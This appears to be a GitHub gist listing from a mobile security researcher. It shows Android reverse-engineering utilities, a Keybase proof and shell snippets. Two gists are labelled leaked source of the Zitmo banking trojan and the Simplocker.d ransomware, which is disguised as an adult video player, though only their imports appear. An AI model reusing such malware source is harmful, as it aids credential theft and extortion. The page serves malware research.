Skip to content

Instantly share code, notes, and snippets.

View strazzere's full-sized avatar
:shipit:
hacking intensifies

Tim Strazzere strazzere

:shipit:
hacking intensifies
View GitHub Profile
@strazzere
strazzere / pullapk.sh
Created October 16, 2013 22:38
Automatically find the path of an apk, perform a pull and rename without the number increments
#!/bin/sh
adb shell pm path $1 |\
sed 's/package://' |\
tr -d '\r' |\
xargs -I % adb pull % $1.apk
@strazzere
strazzere / CheckSourceFileName.1sc
Created October 24, 2013 19:54
Run after using DEXTemplate.bt -- too slow to include in every template run, but can be used after running it if wanted
//////////////////////////////////////////////////
// Post template completion checks and functions
//////////////////////////////////////////////////
int CheckSourceFileName(int source_file_index) {
local string temp_str = StringIdRead(source_file_index);
if(sizeof(temp_str) <= 6) {
return -1;
}
temp_str = SubStr(temp_str, sizeof(temp_str) - 7, -1);

Keybase proof

I hereby claim:

  • I am strazzere on github.
  • I am diff (https://keybase.io/diff) on keybase.
  • I have a public key whose fingerprint is 3C85 F95A 1481 D4D4 45B1 F465 C9EA D5C1 3537 F369

To claim this, I am signing this object:

@strazzere
strazzere / EasterEggView.smali
Created May 28, 2014 19:44
EasterEggs in Hangouts
.class public Lcom/google/android/apps/babel/views/EasterEggView;
.super Landroid/widget/FrameLayout;
.source "SourceFile"
# static fields
.field private static final Hi:[Ljava/lang/String;
.field private static final Hn:Ljava/util/Random;
@strazzere
strazzere / InnerLayout.java
Created July 1, 2014 08:47
Leaked Zitmo Android Source
package com.security.service.ui;
import android.content.Context;
import android.graphics.Color;
import android.text.InputFilter;
import android.text.InputType;
import android.text.method.PasswordTransformationMethod;
import android.view.Display;
import android.view.Gravity;
import android.view.View;
@strazzere
strazzere / lib_hwdevice_api.js
Created July 10, 2014 07:40
Most (all?) don't need verification
Ôªø(function () {
var a = [];
var g = '<?xml version="1.0" encoding="UTF-8"?>';
var t = 1000 * 30;
var z = 1000 * 60;
var b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var j = "http://127.0.0.1/";
var m = 1;
var e = "";
var x = null;
@strazzere
strazzere / battery.sh
Created August 4, 2014 19:36
battery colored output for osx shell
# Should colorize output
alias battery="battery_stat"
function battery_stat() {
PERCENT=`ioreg -l | grep -i capacity | tr '\n' ' | ' | awk '{printf("%d", $10/$5 * 100)}'`
# Colors for humans
NON='\033[00m'
BLD='\033[01m'
RED='\033[01;31m'
GRN='\033[01;32m'
YEL='\033[01;33m'
@strazzere
strazzere / gist:9d80ff2a883040944ae1
Created August 16, 2014 04:04
Compiling nasm on OSX Maverick
If you don't have some extra junk for documentation generation installed it will bail in the Makefile on these;
>.txt.xml:
> $(ASCIIDOC) -b docbook -d manpage -o $@ $<
>
>.xml.1:
> $(XMLTO) man --skip-validation $< 2>/dev/null
Noticed that ./configure properly "didn't find" the ASCIIDOC and XMLTO so I killed what was there;
@strazzere
strazzere / MainActivity.java
Last active August 29, 2015 14:06
Leaked Simplocker.d Source
package com.adult.free.hd.xxx.video.player;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONObject;
import android.app.Activity;
@strazzere
strazzere / LocalStore.java
Created September 16, 2014 06:40
Leaked Bangle Signer Source
package com.bangcle.signer;
public class LocalStore
{
public static String APK_PATH = "";
public static String KEYSTORE_PATH = "";
public static String KEYSTORE_PWD = "";
public static String KEY_ALIAS = "";
public static String KEY_PWD = "";
public static String DESTINATION = "";